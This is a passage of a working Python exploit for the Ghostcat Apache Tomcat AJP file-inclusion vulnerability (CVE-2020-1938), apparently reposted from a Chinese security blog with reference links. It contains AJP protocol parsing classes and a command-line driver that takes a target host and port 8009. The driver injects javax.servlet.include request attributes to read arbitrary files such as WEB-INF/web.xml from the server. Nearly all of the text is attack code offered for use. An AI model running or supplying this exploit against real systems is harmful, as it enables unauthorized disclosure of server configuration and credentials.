        assert r.prefix_code == AjpResponse.SEND_HEADERS
        res.append(r)
        if save_cookies and 'Set-Cookie' in r.response_headers:
            self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

        # read body chunks and end response packets
        while True:
            r = AjpResponse.receive(stream)
            res.append(r)
            if r.prefix_code == AjpResponse.END_RESPONSE:
                break
            elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
                continue
            else:
                raise NotImplementedError
                break

        return res

class AjpResponse(object):
    _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
    COMMON_SEND_HEADERS = [
            "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
            "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
            ]
    def parse(self, stream):
        # read headers
        self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

        if self.prefix_code == AjpResponse.SEND_HEADERS:
            self.parse_send_headers(stream)
        elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
            self.parse_send_body_chunk(stream)
        elif self.prefix_code == AjpResponse.END_RESPONSE:
            self.parse_end_response(stream)
        elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
            self.parse_get_body_chunk(stream)
        else:
            raise NotImplementedError

    def parse_send_headers(self, stream):
        self.http_status_code, = unpack(stream, ">H")
        self.http_status_msg = unpack_string(stream)
        self.num_headers, = unpack(stream, ">H")
        self.response_headers = {}
        for i in range(self.num_headers):
            code, = unpack(stream, ">H")
            if code <= 0xA000: # custom header
                h_name, = unpack(stream, "%ds" % code)
                stream.read(1) # \0
                h_value = unpack_string(stream)
            else:
                h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
                h_value = unpack_string(stream)
            self.response_headers[h_name] = h_value

    def parse_send_body_chunk(self, stream):
        self.data_length, = unpack(stream, ">H")
        self.data = stream.read(self.data_length+1)

    def parse_end_response(self, stream):
        self.reuse, = unpack(stream, "b")

    def parse_get_body_chunk(self, stream):
        rlen, = unpack(stream, ">H")
        return rlen

    @staticmethod
    def receive(stream):
        r = AjpResponse()
        r.parse(stream)
        return r

import socket

def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
    fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
    fr.method = method
    fr.protocol = "HTTP/1.1"
    fr.req_uri = req_uri
    fr.remote_addr = target_host
    fr.remote_host = None
    fr.server_name = target_host
    fr.server_port = 80
    fr.request_headers = {
        'SC_REQ_ACCEPT': 'text/html',
        'SC_REQ_CONNECTION': 'keep-alive',
        'SC_REQ_CONTENT_LENGTH': '0',
        'SC_REQ_HOST': target_host,
        'SC_REQ_USER_AGENT': 'Mozilla',
        'Accept-Encoding': 'gzip, deflate, sdch',
        'Accept-Language': 'en-US,en;q=0.5',
        'Upgrade-Insecure-Requests': '1',
        'Cache-Control': 'max-age=0'
    }
    fr.is_ssl = False
    fr.attributes = []
    return fr

class Tomcat(object):
    def __init__(self, target_host, target_port):
        self.target_host = target_host
        self.target_port = target_port

        self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        self.socket.connect((target_host, target_port))
        self.stream = self.socket.makefile("rb", bufsize=0)

    def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
        self.req_uri = req_uri
        self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
        print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
        if user is not None and password is not None:
            self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
        for h in headers:
            self.forward_request.request_headers[h] = headers[h]
        for a in attributes:
            self.forward_request.attributes.append(a)
        responses = self.forward_request.send_and_receive(self.socket, self.stream)
        if len(responses) == 0:
            return None, None
        snd_hdrs_res = responses[0]
        data_res = responses[1:-1]
        if len(data_res) == 0:
            print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
        return snd_hdrs_res, data_res

'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''

import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf',attributes=[
    {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
    {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
    {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
    ])
print('----------------------------')
print("".join([d.data for d in data]))

参考文章

Ghostcat(幽灵猫)
http://xxx.xxx.xxx.xxx:8080/
Gihub工具下载链接
Github地址
威胁通告 APACHE TOMCAT 文件包含漏洞(CVE-2020-1938)
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi/blob/master/CNVD-2020-10487-Tomcat-Ajp-lfi.py